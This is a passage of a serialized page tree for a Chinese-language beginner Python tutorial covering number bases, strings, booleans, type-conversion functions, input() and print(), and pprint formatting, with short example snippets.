0O",{"type":18,"tag":466,"props":101935,"children":101936},{"align":3465},[101937],{"type":24,"value":101938},"-0o123",{"type":18,"tag":439,"props":101940,"children":101941},{},[101942,101947,101952,101957],{"type":18,"tag":466,"props":101943,"children":101944},{"align":3465},[101945],{"type":24,"value":101946},"十进制",{"type":18,"tag":466,"props":101948,"children":101949},{"align":3465},[101950],{"type":24,"value":101951},"0~9",{"type":18,"tag":466,"props":101953,"children":101954},{"align":3465},[101955],{"type":24,"value":101956},"---",{"type":18,"tag":466,"props":101958,"children":101959},{"align":3465},[101960],{"type":24,"value":101961},"83",{"type":18,"tag":439,"props":101963,"children":101964},{},[101965,101970,101981,101986],{"type":18,"tag":466,"props":101966,"children":101967},{"align":3465},[101968],{"type":24,"value":101969},"十六进制",{"type":18,"tag":466,"props":101971,"children":101972},{"align":3465},[101973,101974,101979],{"type":24,"value":18463},{"type":18,"tag":95109,"props":101975,"children":101976},{},[101977],{"type":24,"value":101978},"9和A",{"type":24,"value":101980},"F",{"type":18,"tag":466,"props":101982,"children":101983},{"align":3465},[101984],{"type":24,"value":101985},"0x \u002F 0X",{"type":18,"tag":466,"props":101987,"children":101988},{"align":3465},[101989],{"type":24,"value":101990},"0x53",{"type":18,"tag":96,"props":101992,"children":101993},{},[101994],{"type":18,"tag":34,"props":101995,"children":101996},{},[101997],{"type":24,"value":101998},"不能以“0”作为十进制数的开头（0除外）",{"type":18,"tag":34,"props":102000,"children":102001},{},[102002],{"type":24,"value":102003},"浮点数由整数部分和小数部分组成，也可以使用科学计数法表示。在使用浮点数进行计算时，有一个特例体现了小数位数不确定的情况，特例代码如下：",{"type":18,"tag":287,"props":102005,"children":102007},{"code":102006,"language":28712,"meta":8,"className":28710,"style":8},"result = 0.1 + 0.2\nprint(result)   # 输出结果为0.30000000000000004\n",[102008],{"type":18,"tag":74,"props":102009,"children":102010},{"__ignoreMap":8},[102011,102019],{"type":18,"tag":297,"props":102012,"children":102013},{"class":299,"line":300},[102014],{"type":18,"tag":297,"props":102015,"children":102016},{},[102017],{"type":24,"value":102018},"result = 0.1 + 0.2\n",{"type":18,"tag":297,"props":102020,"children":102021},{"class":299,"line":657},[102022],{"type":18,"tag":297,"props":102023,"children":102024},{},[102025],{"type":24,"value":102026},"print(result)   # 输出结果为0.30000000000000004\n",{"type":18,"tag":34,"props":102028,"children":102029},{},[102030],{"type":18,"tag":105,"props":102031,"children":102032},{},[102033],{"type":24,"value":102034},"字符串型",{"type":18,"tag":34,"props":102036,"children":102037},{},[102038,102040,102046,102048,102054,102056,102062,102063,102069,102071,102076],{"type":24,"value":102039},"通常使用单引号",{"type":18,"tag":74,"props":102041,"children":102043},{"className":102042},[],[102044],{"type":24,"value":102045},"' '",{"type":24,"value":102047},"、双引号",{"type":18,"tag":74,"props":102049,"children":102051},{"className":102050},[],[102052],{"type":24,"value":102053},"\" \"",{"type":24,"value":102055},"或者三引号",{"type":18,"tag":74,"props":102057,"children":102059},{"className":102058},[],[102060],{"type":24,"value":102061},"\"\"\" \"\"\"",{"type":24,"value":28447},{"type":18,"tag":74,"props":102064,"children":102066},{"className":102065},[],[102067],{"type":24,"value":102068},"''' '''",{"type":24,"value":102070},"括起来，其中单引号和双引号的字符序列必须在一行上。需要表示复杂的字符串时，还可以进行引号嵌套，但是，",{"type":18,"tag":2577,"props":102072,"children":102073},{"color":2579},[102074],{"type":24,"value":102075},"字符串开始和结尾使用的引号形式必须一致",{"type":24,"value":111},{"type":18,"tag":287,"props":102078,"children":102080},{"code":102079,"language":28712,"meta":8,"className":28710,"style":8},"# 使用单引号和双引号字符序列都必须在同一行\ntitle = '我的座右铭'\nlabel = \"努力学习，顶峰相见\"\n# 三引号字符串序列何以分布在多行上\nentry = \"\"\"书山有路勤为径，\n学海无涯苦作舟\"\"\"\nprint(title,'\\n',label,'\\n',entry)\n",[102081],{"type":18,"tag":74,"props":102082,"children":102083},{"__ignoreMap":8},[102084,102092,102100,102108,102116,102124,102132],{"type":18,"tag":297,"props":102085,"children":102086},{"class":299,"line":300},[102087],{"type":18,"tag":297,"props":102088,"children":102089},{},[102090],{"type":24,"value":102091},"# 使用单引号和双引号字符序列都必须在同一行\n",{"type":18,"tag":297,"props":102093,"children":102094},{"class":299,"line":657},[102095],{"type":18,"tag":297,"props":102096,"children":102097},{},[102098],{"type":24,"value":102099},"title = '我的座右铭'\n",{"type":18,"tag":297,"props":102101,"children":102102},{"class":299,"line":662},[102103],{"type":18,"tag":297,"props":102104,"children":102105},{},[102106],{"type":24,"value":102107},"label = \"努力学习，顶峰相见\"\n",{"type":18,"tag":297,"props":102109,"children":102110},{"class":299,"line":799},[102111],{"type":18,"tag":297,"props":102112,"children":102113},{},[102114],{"type":24,"value":102115},"# 三引号字符串序列何以分布在多行上\n",{"type":18,"tag":297,"props":102117,"children":102118},{"class":299,"line":808},[102119],{"type":18,"tag":297,"props":102120,"children":102121},{},[102122],{"type":24,"value":102123},"entry = \"\"\"书山有路勤为径，\n",{"type":18,"tag":297,"props":102125,"children":102126},{"class":299,"line":817},[102127],{"type":18,"tag":297,"props":102128,"children":102129},{},[102130],{"type":24,"value":102131},"学海无涯苦作舟\"\"\"\n",{"type":18,"tag":297,"props":102133,"children":102134},{"class":299,"line":826},[102135],{"type":18,"tag":297,"props":102136,"children":102137},{},[102138],{"type":24,"value":102139},"print(title,'\\n',label,'\\n',entry)\n",{"type":18,"tag":96,"props":102141,"children":102142},{},[102143],{"type":18,"tag":34,"props":102144,"children":102145},{},[102146,102151],{"type":18,"tag":74,"props":102147,"children":102149},{"className":102148},[],[102150],{"type":24,"value":93374},{"type":24,"value":102152},"函数用于将数值转换为字符串。",{"type":18,"tag":96,"props":102154,"children":102155},{},[102156],{"type":18,"tag":34,"props":102157,"children":102158},{},[102159,102161,102166,102167,102173,102175,102181],{"type":24,"value":102160},"在字符串定界符的前面加上字母",{"type":18,"tag":74,"props":102162,"children":102164},{"className":102163},[],[102165],{"type":24,"value":87806},{"type":24,"value":52088},{"type":18,"tag":74,"props":102168,"children":102170},{"className":102169},[],[102171],{"type":24,"value":102172},"R",{"type":24,"value":102174},"，那么该字符串将原样输出，其中的转义字符将不再进行转义输出，例如：",{"type":18,"tag":74,"props":102176,"children":102178},{"className":102177},[],[102179],{"type":24,"value":102180},"print(r\"失望之酒\\n机会之杯\")",{"type":24,"value":102182},"将直接输出“失望之酒\\n机会之杯”。",{"type":18,"tag":34,"props":102184,"children":102185},{},[102186],{"type":18,"tag":105,"props":102187,"children":102188},{},[102189],{"type":24,"value":102190},"布尔类型",{"type":18,"tag":34,"props":102192,"children":102193},{},[102194],{"type":24,"value":102195},"用来表示真或假的值，所有的Python对象都可以进行真值测试。True 为 1，False 为 0\n其中下面的4种情况为假：",{"type":18,"tag":210,"props":102197,"children":102198},{},[102199,102204,102209,102214],{"type":18,"tag":158,"props":102200,"children":102201},{},[102202],{"type":24,"value":102203},"False或None",{"type":18,"tag":158,"props":102205,"children":102206},{},[102207],{"type":24,"value":102208},"数值中的零，包括0、0.0、虚数0",{"type":18,"tag":158,"props":102210,"children":102211},{},[102212],{"type":24,"value":102213},"空序列，包括字符串、空元组、空列表、空字典",{"type":18,"tag":158,"props":102215,"children":102216},{},[102217],{"type":24,"value":102218},"自定义对象的实例，该对象的__bool__方法返回False，或者__len__方法返回0",{"type":18,"tag":34,"props":102220,"children":102221},{},[102222],{"type":18,"tag":105,"props":102223,"children":102224},{},[102225],{"type":24,"value":102226},"数据类型转换",{"type":18,"tag":431,"props":102228,"children":102229},{},[102230,102244],{"type":18,"tag":435,"props":102231,"children":102232},{},[102233],{"type":18,"tag":439,"props":102234,"children":102235},{},[102236,102240],{"type":18,"tag":443,"props":102237,"children":102238},{"align":3465},[102239],{"type":24,"value":81408},{"type":18,"tag":443,"props":102241,"children":102242},{"align":3465},[102243],{"type":24,"value":10999},{"type":18,"tag":459,"props":102245,"children":102246},{},[102247,102260,102273,102292,102305,102318,102331,102344,102357,102370,102383],{"type":18,"tag":439,"props":102248,"children":102249},{},[102250,102255],{"type":18,"tag":466,"props":102251,"children":102252},{"align":3465},[102253],{"type":24,"value":102254},"int(x)",{"type":18,"tag":466,"props":102256,"children":102257},{"align":3465},[102258],{"type":24,"value":102259},"将x转换成整数类型",{"type":18,"tag":439,"props":102261,"children":102262},{},[102263,102268],{"type":18,"tag":466,"props":102264,"children":102265},{"align":3465},[102266],{"type":24,"value":102267},"float(x)",{"type":18,"tag":466,"props":102269,"children":102270},{"align":3465},[102271],{"type":24,"value":102272},"将x转换成浮点数类型",{"type":18,"tag":439,"props":102274,"children":102275},{},[102276,102287],{"type":18,"tag":466,"props":102277,"children":102278},{"align":3465},[102279,102281,102286],{"type":24,"value":102280},"complex(real",{"type":18,"tag":297,"props":102282,"children":102283},{},[102284],{"type":24,"value":102285},",imag",{"type":24,"value":29169},{"type":18,"tag":466,"props":102288,"children":102289},{"align":3465},[102290],{"type":24,"value":102291},"创建一个复数",{"type":18,"tag":439,"props":102293,"children":102294},{},[102295,102300],{"type":18,"tag":466,"props":102296,"children":102297},{"align":3465},[102298],{"type":24,"value":102299},"str(x)",{"type":18,"tag":466,"props":102301,"children":102302},{"align":3465},[102303],{"type":24,"value":102304},"将x转换为字符串",{"type":18,"tag":439,"props":102306,"children":102307},{},[102308,102313],{"type":18,"tag":466,"props":102309,"children":102310},{"align":3465},[102311],{"type":24,"value":102312},"repr(x)",{"type":18,"tag":466,"props":102314,"children":102315},{"align":3465},[102316],{"type":24,"value":102317},"将x转换为表达式字符串",{"type":18,"tag":439,"props":102319,"children":102320},{},[102321,102326],{"type":18,"tag":466,"props":102322,"children":102323},{"align":3465},[102324],{"type":24,"value":102325},"eval(str)",{"type":18,"tag":466,"props":102327,"children":102328},{"align":3465},[102329],{"type":24,"value":102330},"计算在字符串中的有效Python表达式，并返回一个对象",{"type":18,"tag":439,"props":102332,"children":102333},{},[102334,102339],{"type":18,"tag":466,"props":102335,"children":102336},{"align":3465},[102337],{"type":24,"value":102338},"chr(x)",{"type":18,"tag":466,"props":102340,"children":102341},{"align":3465},[102342],{"type":24,"value":102343},"将整数x转换为一个字符",{"type":18,"tag":439,"props":102345,"children":102346},{},[102347,102352],{"type":18,"tag":466,"props":102348,"children":102349},{"align":3465},[102350],{"type":24,"value":102351},"ord(x)",{"type":18,"tag":466,"props":102353,"children":102354},{"align":3465},[102355],{"type":24,"value":102356},"将一个字符x转换为它对应的整数值",{"type":18,"tag":439,"props":102358,"children":102359},{},[102360,102365],{"type":18,"tag":466,"props":102361,"children":102362},{"align":3465},[102363],{"type":24,"value":102364},"hex(x)",{"type":18,"tag":466,"props":102366,"children":102367},{"align":3465},[102368],{"type":24,"value":102369},"将一个整数x转换为一个十六进制的字符串",{"type":18,"tag":439,"props":102371,"children":102372},{},[102373,102378],{"type":18,"tag":466,"props":102374,"children":102375},{"align":3465},[102376],{"type":24,"value":102377},"oct(x)",{"type":18,"tag":466,"props":102379,"children":102380},{"align":3465},[102381],{"type":24,"value":102382},"将一个整数x转换为一个八进制的字符串",{"type":18,"tag":439,"props":102384,"children":102385},{},[102386,102391],{"type":18,"tag":466,"props":102387,"children":102388},{"align":3465},[102389],{"type":24,"value":102390},"bin(x)",{"type":18,"tag":466,"props":102392,"children":102393},{"align":3465},[102394],{"type":24,"value":102395},"将一个整数x转换为一个二进制的字符串",{"type":18,"tag":27,"props":102397,"children":102399},{"id":102398},"基本输入和输出",[102400],{"type":24,"value":102398},{"type":18,"tag":34,"props":102402,"children":102403},{},[102404,102406,102412],{"type":24,"value":102405},"Python中可以通过内置函数",{"type":18,"tag":74,"props":102407,"children":102409},{"className":102408},[],[102410],{"type":24,"value":102411},"input()",{"type":24,"value":102413},"可以接收用户通过键盘输入的内容，基本用法如下：",{"type":18,"tag":287,"props":102415,"children":102417},{"code":102416,"language":28712,"meta":8,"className":28710,"style":8},"entry = input()\nvalue = int(input())  # 若想要接收整型，则需要对其进行整型转换\n",[102418],{"type":18,"tag":74,"props":102419,"children":102420},{"__ignoreMap":8},[102421,102429],{"type":18,"tag":297,"props":102422,"children":102423},{"class":299,"line":300},[102424],{"type":18,"tag":297,"props":102425,"children":102426},{},[102427],{"type":24,"value":102428},"entry = input()\n",{"type":18,"tag":297,"props":102430,"children":102431},{"class":299,"line":657},[102432],{"type":18,"tag":297,"props":102433,"children":102434},{},[102435],{"type":24,"value":102436},"value = int(input())  # 若想要接收整型，则需要对其进行整型转换\n",{"type":18,"tag":34,"props":102438,"children":102439},{},[102440,102442,102447,102449,102455],{"type":24,"value":102441},"默认情况下，使用内置函数",{"type":18,"tag":74,"props":102443,"children":102445},{"className":102444},[],[102446],{"type":24,"value":34598},{"type":24,"value":102448},"可以将结果输出在标准控制台上，语法为：",{"type":18,"tag":74,"props":102450,"children":102452},{"className":102451},[],[102453],{"type":24,"value":102454},"print(输出内容)",{"type":24,"value":102456},"；输出内容可以是数字和字符串，这类内容将直接输出，也可以是包含运算符的表达式，此类内容将计算结果输出。",{"type":18,"tag":287,"props":102458,"children":102460},{"code":102459,"language":28712,"meta":8,"className":28710,"style":8},"name = \"张三\"\nprint(\"我的名字是\" + name)\n'''print(\"变量1\" if 条件 else \"变量2\") '''\nprint(a if a>b else b)  # 条件为真返回a，否则返回b\n",[102461],{"type":18,"tag":74,"props":102462,"children":102463},{"__ignoreMap":8},[102464,102472,102480,102488],{"type":18,"tag":297,"props":102465,"children":102466},{"class":299,"line":300},[102467],{"type":18,"tag":297,"props":102468,"children":102469},{},[102470],{"type":24,"value":102471},"name = \"张三\"\n",{"type":18,"tag":297,"props":102473,"children":102474},{"class":299,"line":657},[102475],{"type":18,"tag":297,"props":102476,"children":102477},{},[102478],{"type":24,"value":102479},"print(\"我的名字是\" + name)\n",{"type":18,"tag":297,"props":102481,"children":102482},{"class":299,"line":662},[102483],{"type":18,"tag":297,"props":102484,"children":102485},{},[102486],{"type":24,"value":102487},"'''print(\"变量1\" if 条件 else \"变量2\") '''\n",{"type":18,"tag":297,"props":102489,"children":102490},{"class":299,"line":799},[102491],{"type":18,"tag":297,"props":102492,"children":102493},{},[102494],{"type":24,"value":102495},"print(a if a>b else b)  # 条件为真返回a，否则返回b\n",{"type":18,"tag":96,"props":102497,"children":102498},{},[102499],{"type":18,"tag":34,"props":102500,"children":102501},{},[102502,102504,102510,102512,102518,102520,102526],{"type":24,"value":102503},"Python中每一条",{"type":18,"tag":74,"props":102505,"children":102507},{"className":102506},[],[102508],{"type":24,"value":102509},"print()语句",{"type":24,"value":102511},"输出后都会自动进行换行，若不想让其换行，可以使用",{"type":18,"tag":74,"props":102513,"children":102515},{"className":102514},[],[102516],{"type":24,"value":102517},"end=''",{"type":24,"value":102519},"来指定结束符，例如：",{"type":18,"tag":74,"props":102521,"children":102523},{"className":102522},[],[102524],{"type":24,"value":102525},"print(\"Hello World\",end=\" \")",{"type":24,"value":102527}," 表示输出Hello World并且以空格作为结束符。",{"type":18,"tag":34,"props":102529,"children":102530},{},[102531],{"type":24,"value":102532},"在输出时，还可以把结果输出到指定文件中。例如：",{"type":18,"tag":287,"props":102534,"children":102536},{"code":102535,"language":28712,"meta":8,"className":28710,"style":8},"# 将“Hello World”输出到指定的文件“D:\u002F\u002FMyfile\u002Ftxt\u002Fdemo.txt”中\nfp = open(\"D:\u002F\u002FMyfile\u002Ftxt\u002Fdemo.txt\",\"a+\")      # 打开文件\nprint(\"Hello World\",file = fp)                 # 输出到文件\nfp.close()                                     # 关闭文件\n",[102537],{"type":18,"tag":74,"props":102538,"children":102539},{"__ignoreMap":8},[102540,102548,102556,102564],{"type":18,"tag":297,"props":102541,"children":102542},{"class":299,"line":300},[102543],{"type":18,"tag":297,"props":102544,"children":102545},{},[102546],{"type":24,"value":102547},"# 将“Hello World”输出到指定的文件“D:\u002F\u002FMyfile\u002Ftxt\u002Fdemo.txt”中\n",{"type":18,"tag":297,"props":102549,"children":102550},{"class":299,"line":657},[102551],{"type":18,"tag":297,"props":102552,"children":102553},{},[102554],{"type":24,"value":102555},"fp = open(\"D:\u002F\u002FMyfile\u002Ftxt\u002Fdemo.txt\",\"a+\")      # 打开文件\n",{"type":18,"tag":297,"props":102557,"children":102558},{"class":299,"line":662},[102559],{"type":18,"tag":297,"props":102560,"children":102561},{},[102562],{"type":24,"value":102563},"print(\"Hello World\",file = fp)                 # 输出到文件\n",{"type":18,"tag":297,"props":102565,"children":102566},{"class":299,"line":799},[102567],{"type":18,"tag":297,"props":102568,"children":102569},{},[102570],{"type":24,"value":102571},"fp.close()                                     # 关闭文件\n",{"type":18,"tag":34,"props":102573,"children":102574},{},[102575],{"type":18,"tag":105,"props":102576,"children":102577},{},[102578],{"type":24,"value":102579},"pprint()格式化输出函数",{"type":18,"tag":34,"props":102581,"children":102582},{},[102583,102589,102591,102597],{"type":18,"tag":74,"props":102584,"children":102586},{"className":102585},[],[102587],{"type":24,"value":102588},"pprint模块",{"type":24,"value":102590},"提供的",{"type":18,"tag":74,"props":102592,"children":102594},{"className":102593},[],[102595],{"type":24,"value":102596},"pprint()函数",{"type":24,"value":102598},"，该函数全称 data pretty printer ，可以将输出的结果变得更加美观。",{"type":18,"tag":287,"props":102600,"children":102602},{"code":102601,"language":28712,"meta":8,"className":28710,"style":8},"# 使用pprint()函数输出数据时，需要先导入pprint模块中的pprint()函数\nfrom pprint import pprint\n\ndic = {\n\"张三\":{\"age\":\"18\",\"sex\":\"boy\",\"address\":\"TianJin\"},\n\"李四\":{\"age\":\"19\",\"sex\":\"girl\",\"address\":\"BeiJing\"},\n\"王五\":{\"age\":\"20\",\"sex\":\"boy\",\"address\":\"HeNan\"}\n}\n",[102603],{"type":18,"tag":74,"props":102604,"children":102605},{"__ignoreMap":8},[102606,102614,102622,102629,102637,102645,102653,102661],{"type":18,"tag":297,"props":102607,"children":102608},{"class":299,"line":300},[102609],{"type":18,"tag":297,"props":102610,"children":102611},{},[102612],{"type":24,"value":102613},"# 使用pprint()函数输出数据时，需要先导入pprint模块中的pprint()函数\n",{"type":18,"tag":297,"props":102615,"children":102616},{"class":299,"line":657},[102617],{"type":18,"tag":297,"props":102618,"children":102619},{},[102620],{"type":24,"value":102621},"from pprint import pprint\n",{"type":18,"tag":297,"props":102623,"children":102624},{"class":299,"line":662},[102625],{"type":18,"tag":297,"props":102626,"children":102627},{"emptyLinePlaceholder":793},[102628],{"type":24,"value":796},{"type":18,"tag":297,"props":102630,"children":102631},{"class":299,"line":799},[102632],{"type":18,"tag":297,"props":102633,"children":102634},{},[102635],{"type":24,"value":102636},"dic = {\n",{"type":18,"tag":297,"props":102638,"children":102639},{"class":299,"line":808},[102640],{"type":18,"tag":297,"props":102641,"children":102642},{},[102643],{"type":24,"value":102644},"\"张三\":{\"age\":\"18\",\"sex\":\"boy\",\"address\":\"TianJin\"},\n",{"type":18,"tag":297,"props":102646,"children":102647},{"class":299,"line":817},[102648],{"type":18,"tag":297,"props":102649,"children":102650},{},[102651],{"type":24,"value":102652},"\"李四\":{\"age\":\"19\",\"sex\":\"girl\",\"address\":\"BeiJing\"},\n",{"type":18,"tag":297,"props":102654,"children":102655},{"class":299,"line":826},[102656],{"type":18,"tag":297,"props":102657,"children":102658},{},[102659],{"type":24,"value":102660},"\"王五\":{\"age\":\"20\",\"sex\":\"boy\",\"address\":\"HeNan\"}\n",{"type":18,"tag":297,"props":102662,"children":102663},{"class":299,"line":4524},[102664],{"type":18,"tag":297,"props":102665,"children":102666},{},[102667],{"type":24,"value":9524},{"type":18,"tag":34,"props":102669,"children":102670},{},[102671],{"type":24,"value":102672},"以上我定义了一个嵌套类型的字典，接下来我分别使用不同的方式进行输出，看看他们的效果：",{"type":18,"tag":287,"props":102674,"children":102676},{"code":102675,"language":28712,"meta":8,"className":28710,"style":8},"print(dic)  # 默认输出\n\"\"\"\n{'张三': {'age': '18', 'sex': 'boy', 'address': 'TianJin'}, '李四': {'age': '19', 'sex': 'girl', 'address': 'BeiJing'}, '王五': {'age': '20', 'sex': 'boy', 'address': 'HeNan'}}\n\"\"\"\n",[102677],{"type":18,"tag":74,"props":102678,"children":102679},{"__ignoreMap":8},[102680,102688,102695,102703],{"type":18,"tag":297,"props":102681,"children":102682},{"class":299,"line":300},[102683],{"type":18,"tag":297,"props":102684,"children":102685},{},[102686],{"type":24,"value":102687},"print(dic)  # 默认输出\n",{"type":18,"tag":297,"props":102689,"children":102690},{"class":299,"line":657},[102691],{"type":18,"tag":297,"props":102692,"children":102693},{},[102694],{"type":24,"value":64687},{"type":18,"tag":297,"props":102696,"children":102697},{"class":299,"line":662},[102698],{"type":18,"tag":297,"props":102699,"children":102700},{},[102701],{"type":24,"value":102702},"{'张三': {'age': '18', 'sex': 'boy', 'address': 'TianJin'}, '李四': {'age': '19', 'sex': 'girl', 'address': 'BeiJing'}, '王五': {'age': '20', 'sex': 'boy', 'address': 'HeNan'}}\n",{"type":18,"tag":297,"props":102704,"children":102705},{"class":299,"line":799},[102706],{"type":18,"tag":297,"props":102707,"children":102708},{},[102709],{"type":24,"value":64687},{"type":18,"tag":287,"props":102711,"children":102713},{"code":102712,"language":28712,"meta":8,"className":28710,"style":8},"pprint(dic)  # 默认结构化输出\n\"\"\"\n{'张三': {'address': 'TianJin', 'age': '18', 'sex': 'boy'},\n '李四': {'address': 'BeiJing', 'age': '19', 'sex': 'girl'},\n '王五': {'address': 'HeNan', 'age': '20', 'sex': 'boy'}}\n\"\"\"\n",[102714],{"type":18,"tag":74,"props":102715,"children":102716},{"__ignoreMap":8},[102717,102725,102732,102740,102748,102756],{"type":18,"tag":297,"props":102718,"children":102719},{"class":299,"line":300},[102720],{"type":18,"tag":297,"props":102721,"children":102722},{},[102723],{"type":24,"value":102724},"pprint(dic)  # 默认结构化输出\n",{"type":18,"tag":297,"props":102726,"children":102727},{"class":299,"line":657},[102728],{"type":18,"tag":297,"props":102729,"children":102730},{},[102731],{"type":24,"value":64687},{"type":18,"tag":297,"props":102733,"children":102734},{"class":299,"line":662},[102735],{"type":18,"tag":297,"props":102736,"children":102737},{},[102738],{"type":24,"value":102739},"{'张三': {'address': 'TianJin', 'age': '18', 'sex': 'boy'},\n",{"type":18,"tag":297,"props":102741,"children":102742},{"class":299,"line":799},[102743],{"type":18,"tag":297,"props":102744,"children":102745},{},[102746],{"type":24,"value":102747}," '李四': {'address': 'BeiJing', 'age': '19', 'sex': 'girl'},\n",{"type":18,"tag":297,"props":102749,"children":102750},{"class":299,"line":808},[102751],{"type":18,"tag":297,"props":102752,"children":102753},{},[102754],{"type":24,"value":102755}," '王五': {'address': 'HeNan', 'age': '20', 'sex': 'boy'}}\n",{"type":18,"tag":297,"props":102757,"children":102758},{"class":299,"line":817},[102759],{"type":18,"tag":297,"props":102760,"children":102761},{},[102762],{"type":24,"value":64687},{"type":18,"tag":287,"props":102764,"children":102766},{"code":102765,"language":28712,"meta":8,"className":28710,"style":8},"pprint(dic, width = 40)  # 在结构化输出的同时设置输出时每行的最大字符数\n\"\"\"\n{'张三': {'address': 'TianJin',\n        'age': '18',\n        'sex': 'boy'},\n '李四': {'address': 'BeiJing',\n        'age': '19',\n        'sex': 'girl'},\n '王五': {'address': 'HeNan',\n        'age': '20',\n        'sex': 'boy'}}\n\"\"\"\n",[102767],{"type":18,"tag":74,"props":102768,"children":102769},{"__ignoreMap":8},[102770,102778,102785,102793,102801,102809,102817,102825,102833,102841,102849,102857],{"type":18,"tag":297,"props":102771,"children":102772},{"class":299,"line":300},[102773],{"type":18,"tag":297,"props":102774,"children":102775},{},[102776],{"type":24,"value":102777},"pprint(dic, width = 40)  # 在结构化输出的同时设置输出时每行的最大字符数\n",{"type":18,"tag":297,"props":102779,"children":102780},{"class":299,"line":657},[102781],{"type":18,"tag":297,"props":102782,"children":102783},{},[102784],{"type":24,"value":64687},{"type":18,"tag":297,"props":102786,"children":102787},{"class":299,"line":662},[102788],{"type":18,"tag":297,"props":102789,"children":102790},{},[102791],{"type":24,"value":102792},"{'张三': {'address': 'TianJin',\n",{"type":18,"tag":297,"props":102794,"children":102795},{"class":299,"line":799},[102796],{"type":18,"tag":297,"props":102797,"children":102798},{},[102799],{"type":24,"value":102800},"        'age': '18',\n",{"type":18,"tag":297,"props":102802,"children":102803},{"class":299,"line":808},[102804],{"type":18,"tag":297,"props":102805,"children":102806},{},[102807],{"type":24,"value":102808},"        'sex': 'boy'},\n",{"type":18,"tag":297,"props":102810,"children":102811},{"class":299,"line":817},[102812],{"type":18,"tag":297,"props":102813,"children":102814},{},[102815],{"type":24,"value":102816}," '李四': {'address': 'BeiJing',\n",{"type":18,"tag":297,"props":102818,"children":102819},{"class":299,"line":826},[102820],{"type":18,"tag":297,"props":102821,"children":102822},{},[102823],{"type":24,"value":102824},"        'age': '19',\n",{"type":18,"tag":297,"props":102826,"children":102827},{"class":299,"line":4524},[102828],{"type":18,"tag":297,"props":102829,"children":102830},{},[102831],{"type":24,"value":102832},"        'sex': 'girl'},\n",{"type":18,"tag":297,"props":102834,"children":102835},{"class":299,"line":4533},[102836],{"type":18,"tag":297,"props":102837,"children":102838},{},[102839],{"type":24,"value":102840}," '王五': {'address': 'HeNan',\n",{"type":18,"tag":297,"props":102842,"children":102843},{"class":299,"line":4546},[102844],{"type":18,"tag":297,"props":102845,"children":102846},{},[102847],{"type":24,"value":102848},"        'age': '20',\n",{"type":18,"tag":297,"props":102850,"children":102851},{"class":299,"line":4555},[102852],{"type":18,"tag":297,"props":102853,"children":102854},{},[102855],{"type":24,"value":102856},"        'sex': 'boy'}}\n",{"type":18,"tag":297,"props":102858,"children":102859},{"class":299,"line":4568},[102860],{"type":18,"tag":297,"props":102861,"children":102862},{},[102863],{"type":24,"value":64687},{"type":18,"tag":27,"props":102865,"children":102867},{"id":102866},"进阶版输出",[102868],{"type":24,"value":102866},{"type":18,"tag":337,"props":102870,"children":102872},{"id":102871},"参数介绍",[102873],{"type":24,"value":102871},{"type":18,"tag":34,"props":102875,"children":102876},{},[102877,102882],{"type":18,"tag":74,"props":102878,"children":102880},{"className":102879},[],[102881],{"type":24,"value":34598},{"type":24,"value":102883},"函数的语法格式如下：",{"type":18,"tag":287,"props":102885,"children":102887},{"code":102886,"language":28712,"meta":8,"className":28710,"style":8},"print(value, ..., sep=' ', end='\\n', file=sys.stdout, flush=False)\n",[102888],{"type":18,"tag":74,"props":102889,"children":102890},{"__ignoreMap":8},[102891],{"type":18,"tag":297,"props":102892,"children":102893},{"class":299,"line":300},[102894],{"type":18,"tag":297,"props":102895,"children":102896},{},[102897],{"type":24,"value":102886},{"type":18,"tag":34,"props":102899,"children":102900},{},[102901],{"type":18,"tag":105,"props":102902,"children":102903},{},[102904],{"type":24,"value":75828},{"type":18,"tag":210,"props":102906,"children":102907},{},[102908,102918,102928,102938,102972,102998],{"type":18,"tag":158,"props":102909,"children":102910},{},[102911,102916],{"type":18,"tag":74,"props":102912,"children":102914},{"className":102913},[],[102915],{"type":24,"value":94994},{"type":24,"value":102917},"：表示要输出的值；可以是数字、字符串、各种类型的变量等；",{"type":18,"tag":158,"props":102919,"children":102920},{},[102921,102926],{"type":18,"tag":74,"props":102922,"children":102924},{"className":102923},[],[102925],{"type":24,"value":53679},{"type":24,"value":102927},"：值列表，表示可以一次性打印多个值；输出多个值时，需要使用“,”（英文半角的逗号）分隔，打印出来各个值之间默认用空格隔开；",{"type":18,"tag":158,"props":102929,"children":102930},{},[102931,102936],{"type":18,"tag":74,"props":102932,"children":102934},{"className":102933},[],[102935],{"type":24,"value":37805},{"type":24,"value":102937},"：表示打印值时，各个值之间的间隔符，默认值是一个空格，可以设置为其他的分隔符；",{"type":18,"tag":158,"props":102939,"children":102940},{},[102941,102946,102948,102954,102956,102962,102964,102970],{"type":18,"tag":74,"props":102942,"children":102944},{"className":102943},[],[102945],{"type":24,"value":37816},{"type":24,"value":102947},"：表示打印完最后一个值需要添加的字符串，用来设定输出语句以什么结尾，默认是换行符",{"type":18,"tag":74,"props":102949,"children":102951},{"className":102950},[],[102952],{"type":24,"value":102953},"\\n",{"type":24,"value":102955},"，即打印完会跳到新行，可以换成其他字符串，如",{"type":18,"tag":74,"props":102957,"children":102959},{"className":102958},[],[102960],{"type":24,"value":102961},"end='\\t'",{"type":24,"value":102963}," 或",{"type":18,"tag":74,"props":102965,"children":102967},{"className":102966},[],[102968],{"type":24,"value":102969},"end=' '",{"type":24,"value":102971},"等，以实现不换行输出；",{"type":18,"tag":158,"props":102973,"children":102974},{},[102975,102980,102982,102988,102990,102996],{"type":18,"tag":74,"props":102976,"children":102978},{"className":102977},[],[102979],{"type":24,"value":8556},{"type":24,"value":102981},"：表示输出的目标对象，可以是文件也可以是数据流，默认是",{"type":18,"tag":74,"props":102983,"children":102985},{"className":102984},[],[102986],{"type":24,"value":102987},"sys.stdout",{"type":24,"value":102989},"。可以设置“",{"type":18,"tag":74,"props":102991,"children":102993},{"className":102992},[],[102994],{"type":24,"value":102995},"file = 